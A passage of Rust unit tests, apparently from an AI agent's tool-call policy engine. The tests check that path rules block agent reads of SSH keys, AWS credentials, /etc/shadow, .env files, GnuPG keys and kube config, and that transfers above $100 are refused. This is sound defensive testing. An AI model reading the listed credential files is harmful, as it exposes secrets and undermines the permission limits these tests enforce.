1104            script_allowed_paths: vec![],
1105            tool_allowed_paths: vec![],
1106        };
1107        let rule = PathProtectionRule::from_config(&cfg);
1108        assert!(!rule.workspace_only);
1109        assert_eq!(rule.protected.len(), 3);
1110        assert!(rule.protected.contains(&"custom.pem".to_string()));
1111
1112        let ctx = PolicyContext {
1113            authority: InputAuthority::Creator,
1114            survival_tier: SurvivalTier::Normal,
1115            claim: None,
1116        };
1117
1118        let custom = ToolCallRequest {
1119            tool_name: "read_file".into(),
1120            params: serde_json::json!({ "path": "deploy/custom.pem" }),
1121            risk_level: RiskLevel::Safe,
1122        };
1123        assert!(
1124            !rule.evaluate(&custom, &ctx).is_allowed(),
1125            "extra_protected_paths should be merged and enforced"
1126        );
1127    }
1128
1129    #[test]
1130    fn path_protection_expanded_defaults_block_ssh_keys() {
1131        let cfg = roboticus_core::config::FilesystemSecurityConfig::default();
1132        let rule = PathProtectionRule::from_config(&cfg);
1133        let ctx = PolicyContext {
1134            authority: InputAuthority::Creator,
1135            survival_tier: SurvivalTier::Normal,
1136            claim: None,
1137        };
1138
1139        for path in [
1140            "/home/user/.ssh/id_rsa",
1141            "config/.aws/credentials",
1142            "/etc/shadow",
1143            "app/.env.production",
1144            ".gnupg/private-keys-v1.d/key",
1145            "deploy/id_ed25519",
1146            ".kube/config",
1147            "db/data.sqlite",
1148        ] {
1149            let req = ToolCallRequest {
1150                tool_name: "read_file".into(),
1151                params: serde_json::json!({ "path": path }),
1152                risk_level: RiskLevel::Safe,
1153            };
1154            assert!(
1155                !rule.evaluate(&req, &ctx).is_allowed(),
1156                "default protected paths should block '{}'",
1157                path
1158            );
1159        }
1160    }
1161
1162    #[test]
1163    fn path_protection_tool_allowed_paths_whitelist() {
1164        let rule = PathProtectionRule {
1165            protected: vec![],
1166            workspace_only: true,
1167            tool_allowed_paths: vec![std::path::PathBuf::from("/Users/jmachen/Desktop/My Vault")],
1168        };
1169        let ctx = PolicyContext {
1170            authority: InputAuthority::Creator,
1171            survival_tier: SurvivalTier::Normal,
1172            claim: None,
1173        };
1174
1175        // Whitelisted path — should be allowed
1176        let vault = ToolCallRequest {
1177            tool_name: "read_file".into(),
1178            params: serde_json::json!({ "path": "/Users/jmachen/Desktop/My Vault/notes.md" }),
1179            risk_level: RiskLevel::Safe,
1180        };
1181        assert!(
1182            rule.evaluate(&vault, &ctx).is_allowed(),
1183            "tool_allowed_paths should whitelist configured paths"
1184        );
1185
1186        // Non-whitelisted absolute path — still blocked
1187        let other = ToolCallRequest {
1188            tool_name: "read_file".into(),
1189            params: serde_json::json!({ "path": "/Users/jmachen/Documents/secret.txt" }),
1190            risk_level: RiskLevel::Safe,
1191        };
1192        assert!(
1193            !rule.evaluate(&other, &ctx).is_allowed(),
1194            "absolute paths not in tool_allowed_paths should still be blocked"
1195        );
1196
1197        // /tmp still allowed
1198        let tmp = ToolCallRequest {
1199            tool_name: "write_file".into(),
1200            params: serde_json::json!({ "path": "/tmp/output.txt" }),
1201            risk_level: RiskLevel::Safe,
1202        };
1203        assert!(
1204            rule.evaluate(&tmp, &ctx).is_allowed(),
1205            "/tmp always allowed regardless of whitelist"
1206        );
1207    }
1208
1209    #[test]
1210    fn path_protection_from_config_includes_tool_allowed_paths() {
1211        let cfg = roboticus_core::config::FilesystemSecurityConfig {
1212            workspace_only: true,
1213            protected_paths: vec![],
1214            extra_protected_paths: vec![],
1215            script_fs_confinement: true,
1216            script_allowed_paths: vec![],
1217            tool_allowed_paths: vec![std::path::PathBuf::from("/opt/shared")],
1218        };
1219        let rule = PathProtectionRule::from_config(&cfg);
1220        assert_eq!(rule.tool_allowed_paths.len(), 1);
1221        assert_eq!(
1222            rule.tool_allowed_paths[0],
1223            std::path::PathBuf::from("/opt/shared")
1224        );
1225    }
1226
1227    #[test]
1228    fn financial_rule_blocks_float_amount() {
1229        // L-NEW-1: a float "amount" must not bypass the threshold
1230        let rule = FinancialRule::new(100.0);
1231        let ctx = PolicyContext {
1232            authority: InputAuthority::Creator,
1233            survival_tier: SurvivalTier::Normal,
1234            claim: None,
1235        };
1236
1237        let float_high = ToolCallRequest {
1238            tool_name: "transfer".into(),
1239            params: serde_json::json!({ "amount": 150.50 }),
1240            risk_level: RiskLevel::Safe,
1241        };
1242        assert!(
1243            !rule.evaluate(&float_high, &ctx).is_allowed(),
1244            "float amount $150.50 should be blocked by $100 threshold"
1245        );
1246
1247        let float_low = ToolCallRequest {
1248            tool_name: "send".into(),
1249            params: serde_json::json!({ "amount": 50.0 }),
1250            risk_level: RiskLevel::Safe,
1251        };
1252        assert!(
1253            rule.evaluate(&float_low, &ctx).is_allowed(),
1254            "float amount $50.00 should be allowed under $100 threshold"
1255        );
1256
1257        // Integer "amount" is interpreted as dollars, same as float.
1258        let int_high = ToolCallRequest {
1259            tool_name: "transfer".into(),
1260            params: serde_json::json!({ "amount": 150 }),
1261            risk_level: RiskLevel::Safe,
1262        };
1263        assert!(
1264            !rule.evaluate(&int_high, &ctx).is_allowed(),
1265            "integer amount $150 should be blocked by $100 threshold"
1266        );
1267    }
1268}